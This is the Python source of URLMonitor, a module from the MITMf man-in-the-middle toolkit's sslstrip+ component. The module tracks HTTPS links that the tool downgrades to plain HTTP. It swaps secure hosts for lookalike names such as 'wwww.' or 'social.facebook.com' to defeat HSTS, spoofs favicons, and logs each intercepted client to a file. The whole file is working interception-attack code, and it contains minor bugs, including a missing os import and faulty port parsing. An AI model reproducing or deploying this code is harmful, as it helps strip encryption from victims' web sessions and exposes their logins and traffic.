MITMf/libs/sslstripplus/URLMonitor.py
2014-12-15 17:00:05 +01:00

140 lines
4.5 KiB
Python

# URLMonitor
import re
import logging
from configobj import ConfigObj
class URLMonitor:
'''
The URL monitor maintains a set of (client, url) tuples that correspond to requests which the
server is expecting over SSL. It also keeps track of secure favicon urls.
'''
# Start the arms race, and end up here...
javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
_instance = None
sustitucion = {} # LEO: diccionario host / sustitucion
real = {} # LEO: diccionario host / real
patchDict = {
'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net',
'https:\/\/www.facebook.com':'http:\/\/social.facebook.com',
'return"https:"':'return"http:"'
}
def __init__(self):
self.strippedURLs = set()
self.strippedURLPorts = {}
self.redirects = []
self.faviconReplacement = False
hsts_config = ConfigObj("./config/hsts_bypass.cfg")
for k,v in hsts_config.items():
self.sustitucion[k] = v
self.real[v] = k
def isSecureLink(self, client, url):
for expression in URLMonitor.javascriptTrickery:
if (re.match(expression, url)):
return True
return (client,url) in self.strippedURLs
def writeClientLog(self, client, headers, message):
if not os.path.exists("./logs"):
os.makedirs("./logs")
if (client.getClientIP() + '.log') not in os.listdir("./logs"):
try:
log_message = "#Log file for %s (%s)\n" % (client.getClientIP(), headers['user-agent'])
except KeyError:
log_message = "#Log file for %s\n" % client.getClientIP()
log_file = open("./logs/" + client.getClientIP() + ".log", 'a')
log_file.write(log_message + message + "\n")
log_file.close()
else:
log_file = open("./logs/" + client.getClientIP() + ".log", 'a')
log_file.write(message + "\n")
log_file.close()
def getSecurePort(self, client, url):
if (client,url) in self.strippedURLs:
return self.strippedURLPorts[(client,url)]
else:
return 443
def addRedirection(self, from_url, to_url):
for s in self.redirects:
if from_url in s:
s.add(to_url)
return
self.redirects.append(set([from_url,to_url]))
def getRedirectionSet(self, url):
for s in self.redirects:
if url in s:
return s
return set([url])
def addSecureLink(self, client, url):
methodIndex = url.find("//") + 2
method = url[0:methodIndex]
pathIndex = url.find("/", methodIndex)
host = url[methodIndex:pathIndex].lower()
path = url[pathIndex:]
port = 443
portIndex = host.find(":")
if (portIndex != -1):
host = host[0:portIndex]
port = host[portIndex+1:]
if len(port) == 0:
port = 443
#LEO: Sustituir HOST
if not self.sustitucion.has_key(host):
lhost = host[:4]
if lhost=="www.":
self.sustitucion[host] = "w"+host
self.real["w"+host] = host
else:
self.sustitucion[host] = "web"+host
self.real["web"+host] = host
logging.info("LEO: ssl host (%s) tokenized (%s)" % (host,self.sustitucion[host]) )
url = 'http://' + host + path
#logging.debug("LEO stripped URL: %s %s"%(client, url))
self.strippedURLs.add((client, url))
self.strippedURLPorts[(client, url)] = int(port)
return 'http://'+self.sustitucion[host]+path
def setFaviconSpoofing(self, faviconSpoofing):
self.faviconSpoofing = faviconSpoofing
def isFaviconSpoofing(self):
return self.faviconSpoofing
def isSecureFavicon(self, client, url):
return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
def URLgetRealHost(self,host):
logging.debug("Parsing host: %s"%host)
if self.real.has_key(host):
logging.debug("New host: %s"%self.real[host])
return self.real[host]
else:
logging.debug("New host: %s"%host)
return host
def getInstance():
if URLMonitor._instance == None:
URLMonitor._instance = URLMonitor()
return URLMonitor._instance
getInstance = staticmethod(getInstance)